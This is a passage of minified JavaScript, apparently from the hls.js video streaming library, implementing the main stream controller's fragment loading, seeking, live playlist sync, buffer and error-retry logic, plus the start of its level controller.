SING",ve="PARSED",_e="BUFFER_FLUSHING",ye="ENDED",Ee="ERROR",Se="WAITING_LEVEL",be=function(e){var t,r;function i(){return e.apply(this,arguments)||this}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.doTick=function(){},n.startLoad=function(){},n.stopLoad=function(){var e=this.fragCurrent;e&&(e.loader&&e.loader.abort(),this.fragmentTracker.removeFragment(e)),this.demuxer&&(this.demuxer.destroy(),this.demuxer=null),this.fragCurrent=null,this.fragPrevious=null,this.clearInterval(),this.clearNextTick(),this.state=ue},n._streamEnded=function(e,t){var r=this.fragCurrent,i=this.fragmentTracker;if(!t.live&&r&&!r.backtracked&&r.sn===t.endSN&&!e.nextStart){var n=i.getState(r);return n===U||n===G}return!1},n.onMediaSeeking=function(){var e=this.config,t=this.media,r=this.mediaBuffer,i=this.state,n=t?t.currentTime:null,s=H.bufferInfo(r||t,n,this.config.maxBufferHole);if(h.logger.log("media seeking to "+(Object(o.isFiniteNumber)(n)?n.toFixed(3):n)),i===ge){var a=this.fragCurrent;if(0===s.len&&a){var l=e.maxFragLookUpTolerance,d=a.start-l,u=a.start+a.duration+l;n<d||n>u?(a.loader&&(h.logger.log("seeking outside of buffer while fragment load in progress, cancel fragment load"),a.loader.abort()),this.fragCurrent=null,this.fragPrevious=null,this.state=ce):h.logger.log("seeking outside of buffer but within currently loaded fragment range")}}else i===ye&&(0===s.len&&(this.fragPrevious=null,this.fragCurrent=null),this.state=ce);t&&(this.lastCurrentTime=n),this.loadedmetadata||(this.nextLoadPosition=this.startPosition=n),this.tick()},n.onMediaEnded=function(){this.startPosition=this.lastCurrentTime=0},n.onHandlerDestroying=function(){this.stopLoad(),e.prototype.onHandlerDestroying.call(this)},n.onHandlerDestroyed=function(){this.state=ue,this.fragmentTracker=null},n.computeLivePosition=function(e,t){var r=void 0!==this.config.liveSyncDuration?this.config.liveSyncDuration:this.config.liveSyncDurationCount*t.targetduration;return e+Math.max(0,t.totalduration-r)},i}(de);function Te(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var we,Ae=function(e){var t,r;function i(t,r){var i;return(i=e.call(this,t,l.default.MEDIA_ATTACHED,l.default.MEDIA_DETACHING,l.default.MANIFEST_LOADING,l.default.MANIFEST_PARSED,l.default.LEVEL_LOADED,l.default.LEVELS_UPDATED,l.default.KEY_LOADED,l.default.FRAG_LOADED,l.default.FRAG_LOAD_EMERGENCY_ABORTED,l.default.FRAG_PARSING_INIT_SEGMENT,l.default.FRAG_PARSING_DATA,l.default.FRAG_PARSED,l.default.ERROR,l.default.AUDIO_TRACK_SWITCHING,l.default.AUDIO_TRACK_SWITCHED,l.default.BUFFER_CREATED,l.default.BUFFER_APPENDED,l.default.BUFFER_FLUSHED)||this).fragmentTracker=r,i.config=t.config,i.audioCodecSwap=!1,i._state=ue,i.stallReported=!1,i.gapController=null,i.altAudio=!1,i.audioOnly=!1,i.bitrateTest=!1,i}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var s,d,u,c=i.prototype;return c.startLoad=function(e){if(this.levels){var t=this.lastCurrentTime,r=this.hls;if(this.stopLoad(),this.setInterval(100),this.level=-1,this.fragLoadError=0,!this.startFragRequested){var i=r.startLevel;-1===i&&(r.config.testBandwidth?(i=0,this.bitrateTest=!0):i=r.nextAutoLevel),this.level=r.nextLoadLevel=i,this.loadedmetadata=!1}t>0&&-1===e&&(h.logger.log("override startPosition with lastCurrentTime @"+t.toFixed(3)),e=t),this.state=ce,this.nextLoadPosition=this.startPosition=this.lastCurrentTime=e,this.tick()}else this.forceStartLoad=!0,this.state=ue},c.stopLoad=function(){this.forceStartLoad=!1,e.prototype.stopLoad.call(this)},c.doTick=function(){switch(this.state){case _e:this.fragLoadError=0;break;case ce:this._doTickIdle();break;case Se:var e=this.levels[this.level];e&&e.details&&(this.state=ce);break;case pe:var t=window.performance.now(),r=this.retryDate;(!r||t>=r||this.media&&this.media.seeking)&&(h.logger.log("mediaController: retryDate reached, switch back to IDLE state"),this.state=ce)}this._checkBuffer(),this._checkFragmentChanged()},c._doTickIdle=function(){var e=this.hls,t=e.config,r=this.media;if(void 0!==this.levelLastLoaded&&(r||!this.startFragRequested&&t.startFragPrefetch))if(this.altAudio&&this.audioOnly)this.demuxer.frag=null;else{var i;i=this.loadedmetadata?r.currentTime:this.nextLoadPosition;var n=e.nextLoadLevel,s=this.levels[n];if(s){var a,o=s.bitrate;a=o?Math.max(8*t.maxBufferSize/o,t.maxBufferLength):t.maxBufferLength,a=Math.min(a,t.maxMaxBufferLength);var d=i<t.maxBufferHole?Math.max(2,t.maxBufferHole):t.maxBufferHole,u=H.bufferInfo(this.mediaBuffer?this.mediaBuffer:r,i,d),c=u.len;if(!(c>=a)){h.logger.trace("buffer length of "+c.toFixed(3)+" is below max of "+a.toFixed(3)+". checking for more payload ..."),this.level=e.nextLoadLevel=n;var f=s.details;if(!f||f.live&&this.levelLastLoaded!==n)this.state=Se;else{if(this._streamEnded(u,f)){var g={};return this.altAudio&&(g.type="video"),this.hls.trigger(l.default.BUFFER_EOS,g),void(this.state=ye)}this._fetchPayloadOrEos(i,u,f)}}}}},c._fetchPayloadOrEos=function(e,t,r){var i=this.fragPrevious,n=(this.level,r.fragments),s=n.length;if(0!==s){var a,o=n[0].start,l=n[s-1].start+n[s-1].duration,d=t.end;if(r.initSegment&&!r.initSegment.data)a=r.initSegment;else if(r.live){var u=this.config.initialLiveManifestSize;if(s<u)return void h.logger.warn("Can not start playback of a level, reason: not enough fragments "+s+" < "+u);if(null===(a=this._ensureFragmentAtLivePoint(r,d,o,l,i,n)))return}else d<o&&(a=n[0]);a||(a=this._findFragment(o,i,s,n,d,l,r)),a&&(a.encrypted?this._loadKey(a,r):this._loadFragment(a,r,e,d))}},c._ensureFragmentAtLivePoint=function(e,t,r,i,n,s){var a,l=this.hls.config,d=this.media,u=1/0;if(void 0!==l.liveMaxLatencyDuration?u=l.liveMaxLatencyDuration:Object(o.isFiniteNumber)(l.liveMaxLatencyDurationCount)&&(u=l.liveMaxLatencyDurationCount*e.targetduration),t<Math.max(r-l.maxFragLookUpTolerance,i-u)){var c=this.liveSyncPosition=this.computeLivePosition(r,e);t=c,d&&!d.paused&&d.readyState&&d.duration>c&&c>d.currentTime&&(h.logger.log("buffer end: "+t.toFixed(3)+" is located too far from the end of live sliding playlist, reset currentTime to : "+c.toFixed(3)),d.currentTime=c),this.nextLoadPosition=c}if(e.PTSKnown&&t>i&&d&&d.readyState)return null;if(this.startFragRequested&&!e.PTSKnown&&n)if(e.hasProgramDateTime)h.logger.log("live playlist, switching playlist, load frag with same PDT: "+n.programDateTime),a=function(e,t,r){if(null===t||!Array.isArray(e)||!e.length||!Object(o.isFiniteNumber)(t))return null;if(t<(e[0].programDateTime||0))return null;if(t>=(e[e.length-1].endProgramDateTime||0))return null;r=r||0;for(var i=0;i<e.length;++i){var n=e[i];if(oe(t,r,n))return n}return null}(s,n.endProgramDateTime,l.maxFragLookUpTolerance);else{var f=n.sn+1;if(f>=e.startSN&&f<=e.endSN){var g=s[f-e.startSN];n.cc===g.cc&&(a=g,h.logger.log("live playlist, switching playlist, load frag with next SN: "+a.sn))}a||(a=$.search(s,(function(e){return n.cc-e.cc})))&&h.logger.log("live playlist, switching playlist, load frag with same CC: "+a.sn)}return a},c._findFragment=function(e,t,r,i,n,s,a){var o,l=this.hls.config;if(o=n<s?function(e,t,r,i){void 0===r&&(r=0),void 0===i&&(i=0);var n=null;return e?n=t[e.sn-t[0].sn+1]:0===r&&0===t[0].start&&(n=t[0]),n&&0===ae(r,i,n)?n:$.search(t,ae.bind(null,r,i))||n}(t,i,n,n>s-l.maxFragLookUpTolerance?0:l.maxFragLookUpTolerance):i[r-1],o){var d=o.sn-a.startSN,u=t&&o.level===t.level,c=i[d-1],f=i[d+1];if(t&&o.sn===t.sn)if(u&&!o.backtracked)if(o.sn<a.endSN){var g=t.deltaPTS;g&&g>l.maxBufferHole&&t.dropped&&d?(o=c,h.logger.warn("Previous fragment was dropped with large PTS gap between audio and video. Maybe fragment is not starting with a keyframe? Loading previous one to try to overcome this")):(o=f,this.fragmentTracker.getState(o)!==G&&h.logger.log("Re-loading fragment with SN: "+o.sn))}else o=null;else o.backtracked&&(f&&f.backtracked?(h.logger.warn("Already backtracked from fragment "+f.sn+", will not backtrack to fragment "+o.sn+". Loading fragment "+f.sn),o=f):(h.logger.warn("Loaded fragment with dropped frames, backtracking 1 segment to find a keyframe"),o.dropped=0,c?(o=c).backtracked=!0:d&&(o=null)))}return o},c._loadKey=function(e,t){h.logger.log("Loading key for "+e.sn+" of ["+t.startSN+"-"+t.endSN+"], level "+this.level),this.state=fe,this.hls.trigger(l.default.KEY_LOADING,{frag:e})},c._loadFragment=function(e,t,r,i){var n=this.fragmentTracker.getState(e);this.fragCurrent=e,"initSegment"!==e.sn&&(this.startFragRequested=!0),Object(o.isFiniteNumber)(e.sn)&&!e.bitrateTest&&(this.nextLoadPosition=e.start+e.duration),e.backtracked||n===F||n===U?(e.autoLevel=this.hls.autoLevelEnabled,e.bitrateTest=this.bitrateTest,h.logger.log("Loading "+e.sn+" of ["+t.startSN+"-"+t.endSN+"], level "+this.level+", "+(this.loadedmetadata?"currentTime":"nextLoadPosition")+": "+parseFloat(r.toFixed(3))+", bufferEnd: "+parseFloat(i.toFixed(3))),this.hls.trigger(l.default.FRAG_LOADING,{frag:e}),this.demuxer||(this.demuxer=new Q(this.hls,"main")),this.state=ge):n===B&&this._reduceMaxBufferLength(e.duration)&&this.fragmentTracker.removeFragment(e)},c.getBufferedFrag=function(e){return this.fragmentTracker.getBufferedFrag(e,n.MAIN)},c.followingBufferedFrag=function(e){return e?this.getBufferedFrag(e.endPTS+.5):null},c._checkFragmentChanged=function(){var e,t,r=this.media;if(r&&r.readyState&&!1===r.seeking&&((t=r.currentTime)>this.lastCurrentTime&&(this.lastCurrentTime=t),H.isBuffered(r,t)?e=this.getBufferedFrag(t):H.isBuffered(r,t+.1)&&(e=this.getBufferedFrag(t+.1)),e)){var i=e;if(i!==this.fragPlaying){this.hls.trigger(l.default.FRAG_CHANGED,{frag:i});var n=i.level;this.fragPlaying&&this.fragPlaying.level===n||this.hls.trigger(l.default.LEVEL_SWITCHED,{level:n}),this.fragPlaying=i}}},c.immediateLevelSwitch=function(){if(h.logger.log("immediateLevelSwitch"),!this.immediateSwitch){this.immediateSwitch=!0;var e,t=this.media;t?(e=t.paused)||t.pause():e=!0,this.previouslyPaused=e}var r=this.fragCurrent;r&&r.loader&&r.loader.abort(),this.fragCurrent=null,this.flushMainBuffer(0,Number.POSITIVE_INFINITY)},c.immediateLevelSwitchEnd=function(){var e=this.media;e&&e.buffered.length&&(this.immediateSwitch=!1,e.currentTime>0&&H.isBuffered(e,e.currentTime)&&(e.currentTime-=1e-4),this.previouslyPaused||e.play())},c.nextLevelSwitch=function(){var e=this.media;if(e&&e.readyState){var t,r=this.getBufferedFrag(e.currentTime);if(r&&r.startPTS>1&&this.flushMainBuffer(0,r.startPTS-1),e.paused)t=0;else{var i=this.hls.nextLoadLevel,n=this.levels[i],s=this.fragLastKbps;t=s&&this.fragCurrent?this.fragCurrent.duration*n.bitrate/(1e3*s)+1:0}var a=this.getBufferedFrag(e.currentTime+t);if(a){var o=this.followingBufferedFrag(a);if(o){var l=this.fragCurrent;l&&l.loader&&l.loader.abort(),this.fragCurrent=null;var h=Math.max(a.endPTS,o.maxStartPTS+Math.min(this.config.maxFragLookUpTolerance,o.duration));this.flushMainBuffer(h,Number.POSITIVE_INFINITY)}}}},c.flushMainBuffer=function(e,t){this.state=_e;var r={startOffset:e,endOffset:t};this.altAudio&&(r.type="video"),this.hls.trigger(l.default.BUFFER_FLUSHING,r)},c.onMediaAttached=function(e){var t=this.media=this.mediaBuffer=e.media;this.onvseeking=this.onMediaSeeking.bind(this),this.onvseeked=this.onMediaSeeked.bind(this),this.onvended=this.onMediaEnded.bind(this),t.addEventListener("seeking",this.onvseeking),t.addEventListener("seeked",this.onvseeked),t.addEventListener("ended",this.onvended);var r=this.config;this.levels&&r.autoStartLoad&&this.hls.startLoad(r.startPosition),this.gapController=new le(r,t,this.fragmentTracker,this.hls)},c.onMediaDetaching=function(){var e=this.media;e&&e.ended&&(h.logger.log("MSE detaching and video ended, reset startPosition"),this.startPosition=this.lastCurrentTime=0);var t=this.levels;t&&t.forEach((function(e){e.details&&e.details.fragments.forEach((function(e){e.backtracked=void 0}))})),e&&(e.removeEventListener("seeking",this.onvseeking),e.removeEventListener("seeked",this.onvseeked),e.removeEventListener("ended",this.onvended),this.onvseeking=this.onvseeked=this.onvended=null),this.fragmentTracker.removeAllFragments(),this.media=this.mediaBuffer=null,this.loadedmetadata=!1,this.stopLoad()},c.onMediaSeeked=function(){var e=this.media,t=e?e.currentTime:void 0;Object(o.isFiniteNumber)(t)&&h.logger.log("media seeked to "+t.toFixed(3)),this.tick()},c.onManifestLoading=function(){h.logger.log("trigger BUFFER_RESET"),this.hls.trigger(l.default.BUFFER_RESET),this.fragmentTracker.removeAllFragments(),this.stalled=!1,this.startPosition=this.lastCurrentTime=0},c.onManifestParsed=function(e){var t,r=!1,i=!1;e.levels.forEach((function(e){(t=e.audioCodec)&&(-1!==t.indexOf("mp4a.40.2")&&(r=!0),-1!==t.indexOf("mp4a.40.5")&&(i=!0))})),this.audioCodecSwitch=r&&i,this.audioCodecSwitch&&h.logger.log("both AAC/HE-AAC audio found in levels; declaring level codec as HE-AAC"),this.altAudio=e.altAudio,this.levels=e.levels,this.startFragRequested=!1;var n=this.config;(n.autoStartLoad||this.forceStartLoad)&&this.hls.startLoad(n.startPosition)},c.onLevelLoaded=function(e){var t=e.details,r=e.level,i=this.levels[this.levelLastLoaded],n=this.levels[r],s=t.totalduration,a=0;if(h.logger.log("level "+r+" loaded ["+t.startSN+","+t.endSN+"],duration:"+s),t.live||n.details&&n.details.live){var d=n.details;d&&t.fragments.length>0?(function(e,t){t.initSegment&&e.initSegment&&(t.initSegment=e.initSegment);var r,i=0;if(re(e,t,(function(e,n){i=e.cc-n.cc,Object(o.isFiniteNumber)(e.startPTS)&&(n.start=n.startPTS=e.startPTS,n.endPTS=e.endPTS,n.duration=e.duration,n.backtracked=e.backtracked,n.dropped=e.dropped,r=n),t.PTSKnown=!0})),t.PTSKnown){if(i){h.logger.log("discontinuity sliding from playlist, take drift into account");for(var n=t.fragments,s=0;s<n.length;s++)n[s].cc+=i}r?te(t,r,r.startPTS,r.endPTS,r.startDTS,r.endDTS):function(e,t){var r=t.startSN-e.startSN,i=e.fragments,n=t.fragments;if(!(r<0||r>i.length))for(var s=0;s<n.length;s++)n[s].start+=i[r].start}(e,t),t.PTSKnown=e.PTSKnown}}(d,t),a=t.fragments[0].start,this.liveSyncPosition=this.computeLivePosition(a,d),t.PTSKnown&&Object(o.isFiniteNumber)(a)?h.logger.log("live playlist sliding:"+a.toFixed(3)):(h.logger.log("live playlist - outdated PTS, unknown sliding"),se(this.fragPrevious,i,t))):(h.logger.log("live playlist - first load, unknown sliding"),t.PTSKnown=!1,se(this.fragPrevious,i,t))}else t.PTSKnown=!1;if(n.details=t,this.levelLastLoaded=r,this.hls.trigger(l.default.LEVEL_UPDATED,{details:t,level:r}),!1===this.startFragRequested){if(-1===this.startPosition||-1===this.lastCurrentTime){var u=t.startTimeOffset;Object(o.isFiniteNumber)(u)?(u<0&&(h.logger.log("negative start time offset "+u+", count from end of last fragment"),u=a+s+u),h.logger.log("start time offset found in playlist, adjust startPosition to "+u),this.startPosition=u):t.live?(this.startPosition=this.computeLivePosition(a,t),h.logger.log("configure startPosition to "+this.startPosition)):this.startPosition=0,this.lastCurrentTime=this.startPosition}this.nextLoadPosition=this.startPosition}this.state===Se&&(this.state=ce),this.tick()},c.onKeyLoaded=function(){this.state===fe&&(this.state=ce,this.tick())},c.onFragLoaded=function(e){var t=this.fragCurrent,r=this.hls,i=this.levels,n=this.media,s=e.frag;if(this.state===ge&&t&&"main"===s.type&&s.level===t.level&&s.sn===t.sn){var a=e.stats,o=i[t.level],d=o.details;if(this.bitrateTest=!1,this.stats=a,h.logger.log("Loaded "+t.sn+" of ["+d.startSN+" ,"+d.endSN+"],level "+t.level),s.bitrateTest&&r.nextLoadLevel)this.state=ce,this.startFragRequested=!1,a.tparsed=a.tbuffered=window.performance.now(),r.trigger(l.default.FRAG_BUFFERED,{stats:a,frag:t,id:"main"}),this.tick();else if("initSegment"===s.sn)this.state=ce,a.tparsed=a.tbuffered=window.performance.now(),d.initSegment.data=e.payload,r.trigger(l.default.FRAG_BUFFERED,{stats:a,frag:t,id:"main"}),this.tick();else{h.logger.log("Parsing "+t.sn+" of ["+d.startSN+" ,"+d.endSN+"],level "+t.level+", cc "+t.cc),this.state=me,this.pendingBuffering=!0,this.appended=!1,s.bitrateTest&&(s.bitrateTest=!1,this.fragmentTracker.onFragLoaded({frag:s}));var u=!(n&&n.seeking)&&(d.PTSKnown||!d.live),c=d.initSegment?d.initSegment.data:[],f=this._getAudioCodec(o);(this.demuxer=this.demuxer||new Q(this.hls,"main")).push(e.payload,c,f,o.videoCodec,t,d.totalduration,u)}}this.fragLoadError=0},c.onFragParsingInitSegment=function(e){var t=this.fragCurrent,r=e.frag;if(t&&"main"===e.id&&r.sn===t.sn&&r.level===t.level&&this.state===me){var i,n,s=e.tracks;if(this.audioOnly=s.audio&&!s.video,this.altAudio&&!this.audioOnly&&delete s.audio,n=s.audio){var a=this.levels[this.level].audioCodec,o=navigator.userAgent.toLowerCase();a&&this.audioCodecSwap&&(h.logger.log("swapping playlist audio codec"),a=-1!==a.indexOf("mp4a.40.5")?"mp4a.40.2":"mp4a.40.5"),this.audioCodecSwitch&&1!==n.metadata.channelCount&&-1===o.indexOf("firefox")&&(a="mp4a.40.5"),-1!==o.indexOf("android")&&"audio/mpeg"!==n.container&&(a="mp4a.40.2",h.logger.log("Android: force audio codec to "+a)),n.levelCodec=a,n.id=e.id}for(i in(n=s.video)&&(n.levelCodec=this.levels[this.level].videoCodec,n.id=e.id),this.hls.trigger(l.default.BUFFER_CODECS,s),s){n=s[i],h.logger.log("main track:"+i+",container:"+n.container+",codecs[level/parsed]=["+n.levelCodec+"/"+n.codec+"]");var d=n.initSegment;d&&(this.appended=!0,this.pendingBuffering=!0,this.hls.trigger(l.default.BUFFER_APPENDING,{type:i,data:d,parent:"main",content:"initSegment"}))}this.tick()}},c.onFragParsingData=function(e){var t=this,r=this.fragCurrent,i=e.frag;if(r&&"main"===e.id&&i.sn===r.sn&&i.level===r.level&&("audio"!==e.type||!this.altAudio)&&this.state===me){var n=this.levels[this.level],s=r;if(Object(o.isFiniteNumber)(e.endPTS)||(e.endPTS=e.startPTS+r.duration,e.endDTS=e.startDTS+r.duration),!0===e.hasAudio&&s.addElementaryStream(p.AUDIO),!0===e.hasVideo&&s.addElementaryStream(p.VIDEO),h.logger.log("Parsed "+e.type+",PTS:["+e.startPTS.toFixed(3)+","+e.endPTS.toFixed(3)+"],DTS:["+e.startDTS.toFixed(3)+"/"+e.endDTS.toFixed(3)+"],nb:"+e.nb+",dropped:"+(e.dropped||0)),"video"===e.type)if(s.dropped=e.dropped,s.dropped)if(s.backtracked)h.logger.warn("Already backtracked on this fragment, appending with the gap",s.sn);else{var a=n.details;if(!a||s.sn!==a.startSN)return h.logger.warn("missing video frame(s), backtracking fragment",s.sn),this.fragmentTracker.removeFragment(s),s.backtracked=!0,this.nextLoadPosition=e.startPTS,this.state=ce,this.fragPrevious=s,this.demuxer&&(this.demuxer.destroy(),this.demuxer=null),void this.tick();h.logger.warn("missing video frame(s) on first frag, appending with gap",s.sn)}else s.backtracked=!1;var d=te(n.details,s,e.startPTS,e.endPTS,e.startDTS,e.endDTS),u=this.hls;u.trigger(l.default.LEVEL_PTS_UPDATED,{details:n.details,level:this.level,drift:d,type:e.type,start:e.startPTS,end:e.endPTS}),[e.data1,e.data2].forEach((function(r){r&&r.length&&t.state===me&&(t.appended=!0,t.pendingBuffering=!0,u.trigger(l.default.BUFFER_APPENDING,{type:e.type,data:r,parent:"main",content:"data"}))})),this.tick()}},c.onFragParsed=function(e){var t=this.fragCurrent,r=e.frag;t&&"main"===e.id&&r.sn===t.sn&&r.level===t.level&&this.state===me&&(this.stats.tparsed=window.performance.now(),this.state=ve,this._checkAppendedParsed())},c.onAudioTrackSwitching=function(e){var t=this.altAudio,r=!!e.url,i=e.id;if(!r){if(this.mediaBuffer!==this.media){h.logger.log("switching on main audio, use media.buffered to schedule main fragment loading"),this.mediaBuffer=this.media;var n=this.fragCurrent;n.loader&&(h.logger.log("switching to main audio track, cancel main fragment load"),n.loader.abort()),this.fragCurrent=null,this.fragPrevious=null,this.demuxer&&(this.demuxer.destroy(),this.demuxer=null),this.state=ce}var s=this.hls;t&&s.trigger(l.default.BUFFER_FLUSHING,{startOffset:0,endOffset:Number.POSITIVE_INFINITY,type:"audio"}),s.trigger(l.default.AUDIO_TRACK_SWITCHED,{id:i})}},c.onAudioTrackSwitched=function(e){var t=e.id,r=!!this.hls.audioTracks[t].url;if(r){var i=this.videoBuffer;i&&this.mediaBuffer!==i&&(h.logger.log("switching on alternate audio, use video.buffered to schedule main fragment loading"),this.mediaBuffer=i)}this.altAudio=r,this.tick()},c.onBufferCreated=function(e){var t,r,i=e.tracks,n=!1;for(var s in i){var a=i[s];"main"===a.id?(r=s,t=a,"video"===s&&(this.videoBuffer=i[s].buffer)):n=!0}n&&t?(h.logger.log("alternate track found, use "+r+".buffered to schedule main fragment loading"),this.mediaBuffer=t.buffer):this.mediaBuffer=this.media},c.onBufferAppended=function(e){if("main"===e.parent){var t=this.state;t!==me&&t!==ve||(this.pendingBuffering=e.pending>0,this._checkAppendedParsed())}},c._checkAppendedParsed=function(){if(!(this.state!==ve||this.appended&&this.pendingBuffering)){var e=this.fragCurrent;if(e){var t=this.mediaBuffer?this.mediaBuffer:this.media;h.logger.log("main buffered : "+ie.toString(t.buffered)),this.fragPrevious=e;var r=this.stats;r.tbuffered=window.performance.now(),this.fragLastKbps=Math.round(8*r.total/(r.tbuffered-r.tfirst)),this.hls.trigger(l.default.FRAG_BUFFERED,{stats:r,frag:e,id:"main"}),this.state=ce}(this.loadedmetadata||this.startPosition<=0)&&this.tick()}},c.onError=function(e){var t=e.frag||this.fragCurrent;if(!t||"main"===t.type){var r=!!this.media&&H.isBuffered(this.media,this.media.currentTime)&&H.isBuffered(this.media,this.media.currentTime+.5);switch(e.details){case a.ErrorDetails.FRAG_LOAD_ERROR:case a.ErrorDetails.FRAG_LOAD_TIMEOUT:case a.ErrorDetails.KEY_LOAD_ERROR:case a.ErrorDetails.KEY_LOAD_TIMEOUT:if(!e.fatal)if(this.fragLoadError+1<=this.config.fragLoadingMaxRetry){var i=Math.min(Math.pow(2,this.fragLoadError)*this.config.fragLoadingRetryDelay,this.config.fragLoadingMaxRetryTimeout);h.logger.warn("mediaController: frag loading failed, retry in "+i+" ms"),this.retryDate=window.performance.now()+i,this.loadedmetadata||(this.startFragRequested=!1,this.nextLoadPosition=this.startPosition),this.fragLoadError++,this.state=pe}else h.logger.error("mediaController: "+e.details+" reaches max retry, redispatch as fatal ..."),e.fatal=!0,this.state=Ee;break;case a.ErrorDetails.LEVEL_LOAD_ERROR:case a.ErrorDetails.LEVEL_LOAD_TIMEOUT:this.state!==Ee&&(e.fatal?(this.state=Ee,h.logger.warn("streamController: "+e.details+",switch to "+this.state+" state ...")):e.levelRetry||this.state!==Se||(this.state=ce));break;case a.ErrorDetails.BUFFER_FULL_ERROR:"main"!==e.parent||this.state!==me&&this.state!==ve||(r?(this._reduceMaxBufferLength(this.config.maxBufferLength),this.state=ce):(h.logger.warn("buffer full error also media.currentTime is not buffered, flush everything"),this.fragCurrent=null,this.flushMainBuffer(0,Number.POSITIVE_INFINITY)))}}},c._reduceMaxBufferLength=function(e){var t=this.config;return t.maxMaxBufferLength>=e&&(t.maxMaxBufferLength/=2,h.logger.warn("main:reduce max buffer length to "+t.maxMaxBufferLength+"s"),!0)},c._checkBuffer=function(){var e=this.media;if(e&&0!==e.readyState){var t=(this.mediaBuffer?this.mediaBuffer:e).buffered;!this.loadedmetadata&&t.length?(this.loadedmetadata=!0,this._seekToStartPos()):this.immediateSwitch?this.immediateLevelSwitchEnd():this.gapController.poll(this.lastCurrentTime,t)}},c.onFragLoadEmergencyAborted=function(){this.state=ce,this.loadedmetadata||(this.startFragRequested=!1,this.nextLoadPosition=this.startPosition),this.tick()},c.onBufferFlushed=function(){var e=this.mediaBuffer?this.mediaBuffer:this.media;if(e){var t=this.audioOnly?p.AUDIO:p.VIDEO;this.fragmentTracker.detectEvictedFragments(t,e.buffered)}this.state=ce,this.fragPrevious=null},c.onLevelsUpdated=function(e){this.levels=e.levels},c.swapAudioCodec=function(){this.audioCodecSwap=!this.audioCodecSwap},c._seekToStartPos=function(){var e=this.media,t=e.currentTime,r=this.startPosition;if(t!==r&&r>=0){if(e.seeking)return void h.logger.log("could not seek to "+r+", already seeking at "+t);var i=(e.buffered.length?e.buffered.start(0):0)-r;i>0&&i<this.config.maxBufferHole&&(h.logger.log("adjusting start position by "+i+" to match buffer start"),r+=i,this.startPosition=r),h.logger.log("seek to target start position "+r+" from current time "+t+". ready state "+e.readyState),e.currentTime=r}},c._getAudioCodec=function(e){var t=this.config.defaultAudioCodec||e.audioCodec;return this.audioCodecSwap&&(h.logger.log("swapping playlist audio codec"),t&&(t=-1!==t.indexOf("mp4a.40.5")?"mp4a.40.2":"mp4a.40.5")),t},s=i,(d=[{key:"state",set:function(e){if(this.state!==e){var t=this.state;this._state=e,h.logger.log("main stream-controller: "+t+"->"+e),this.hls.trigger(l.default.STREAM_STATE_TRANSITION,{previousState:t,nextState:e})}},get:function(){return this._state}},{key:"currentLevel",get:function(){var e=this.media;if(e){var t=this.getBufferedFrag(e.currentTime);if(t)return t.level}return-1}},{key:"nextBufferedFrag",get:function(){var e=this.media;return e?this.followingBufferedFrag(this.getBufferedFrag(e.currentTime)):null}},{key:"nextLevel",get:function(){var e=this.nextBufferedFrag;return e?e.level:-1}},{key:"liveSyncPosition",get:function(){return this._liveSyncPosition},set:function(e){this._liveSyncPosition=e}}])&&Te(s.prototype,d),u&&Te(s,u),i}(be);function Pe(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var Le=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.MANIFEST_LOADED,l.default.LEVEL_LOADED,l.default.AUDIO_TRACK_SWITCHED,l.default.FRAG_LOADED,l.default.ERROR)||this).canload=!1,r.currentLevelIndex=null,r.manualLevelIndex=-1,r.timer=null,we=/chrome|firefox/.test(navigator.userAgent.toLowerCase()),r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n,s,o,d=i.prototype;return d.onHandlerDestroying=function(){this.clearTimer(),this.manualLevelIndex=-1},d.clearTimer=function(){null!==this.timer&&(clearTimeout(this.timer),this.timer=null)},d.startLoad=function(){var e=this._levels;this.canload=!0,this.levelRetryCount=0,e&&e.forEach((function(e){e.loadError=0;var t=e.details;t&&t.live&&(e.details=void 0)})),null!==this.timer&&this.loadLevel()},d.stopLoad=function(){this.canload=!1},d.onManifestLoaded=function(e){var t,r=[],i=[],n={},s=null,o=!1,d=!1;if(e.levels.forEach((function(e){var t=e.attrs;e.loadError=0,e.fragmentError=!1,o=o||!!e.videoCodec,d=d||!!e.audioCodec,we&&e.audioCodec&&-1!==e.audioCodec.indexOf("mp4a.40.34")&&(e.audioCodec=void 0),(s=n[e.bitrate])?s.url.push(e.url):(e.url=[e.url],e.urlId=0,n[e.bitrate]=e,r.push(e)),t&&(t.AUDIO&&Z(s||e,"audio",t.AUDIO),t.SUBTITLES&&Z(s||e,"text",t.SUBTITLES))})),o&&d&&(r=r.filter((function(e){return!!e.videoCodec}))),r=r.filter((function(e){var t=e.audioCodec,r=e.videoCodec;return(!t||A(t,"audio"))&&(!r||A(r,"video"))})),e.audioTracks&&(i=e.audioTracks.filter((function(e){return!e.audioCodec||A(e.audioCodec,"audio")}))).forEach((function(e,t){e.id=t})),r.length>0){t=r[0].bitrate,r.sort((function(e,t){return e.bitrate-t.bitrate})),this._levels=r;for(var u=0;u<r.length;u++)if(r[u].bitrate===t){this._firstLevel=u,h.logger.log("manifest loaded,"+r.length+" level(s) found, first bitrate:"+t);break}var c=d&&!o;this.hls.trigger(l.default.MANIFEST_PARSED,{levels:r,audioTracks:i,firstLevel:this._firstLevel,stats:e.stats,audio:d,video:o,altAudio:!c&&i.some((function(e){return!!e.url}))})}else this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.MANIFEST_INCOMPATIBLE_CODECS_ERROR,fatal:!0,url:this.hls.url,reason:"no level with compatible codecs found in manifest"})},d.setLevelInternal=function(e){var t=this._levels,r=this.hls;if(e>=0&&e<t.length){if(this.clearTimer(),this.currentLevelIndex!==e){h.logger.log("switching to level "+e),this.currentLevelIndex=e;var i=t[e];i.level=e,r.trigger(l.default.LEVEL_SWITCHING,i)}var n=t[e],s=n.details;if(!s||s.live){var o=n.urlId;r.trigger(l.default.LEVEL_LOADING,{url:n.url[o],level:e,id:o})}}else r.trigger(l.default.ERROR,{type:a.ErrorTypes.OTHER_ERROR,details:a.ErrorDetails.LEVEL_SWITCH_ERROR,level:e,fatal:!1,reason:"invalid level 